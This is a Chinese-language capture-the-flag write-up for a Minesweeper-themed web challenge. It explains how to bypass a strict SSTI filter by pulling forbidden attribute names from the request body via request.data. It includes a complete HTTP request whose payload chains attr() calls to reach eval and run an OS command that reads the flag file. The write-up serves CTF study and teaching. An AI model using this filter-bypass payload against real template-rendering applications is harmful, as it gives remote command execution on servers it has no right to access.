点击此处获得更好的阅读体验
WriteUp来源
题目考点
- SSTI绕过技巧
解题思路
主页是一个扫雷游戏,完成游戏后将进入/success
界面
1
location.href = './success?msg='+name;
进入该页面后可以看到我们的msg参数将显示在页面中,尝试进行SSTI,发现存在SSTI 但是过滤非常严格
经过FUZZ可以发现过滤了_ [ ' " path args host headers endpoint json user_agent
正常的SSTI思路是很难实现了,这里需要利用的是request对象,request对象有很多属性,其中大部分属性都被过滤了,而我们可以使用其data属性。
而data属性得到的是一个byte型数据,我们可以用decode()函数将其转换为字符串,然后用split()函数得到一个数组,从而实现SSTI
最终payload:
1
2
3
4
5
6
7
8
9
10GET /success?msg={% raw %}{{{% endraw %}1|attr(request.data.decode().split().pop(0))|attr(request.data.decode().split().pop(1))|attr(request.data.decode().split().pop(2))()|attr(request.data.decode().split().pop(3))(71)|attr(request.data.decode().split().pop(4))|attr(request.data.decode().split().pop(5))|attr(request.data.decode().split().pop(3))(request.data.decode().split().pop(6))|attr(request.data.decode().split().pop(3))(request.data.decode().split().pop(7))(request.data.decode().split().pop(8))}} HTTP/1.1
Host: 39.96.23.228:10002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 130
__class__ __base__ __subclasses__ __getitem__ __init__ __globals__ __builtins__ eval __import__("os").popen("cat<flag.txt").read()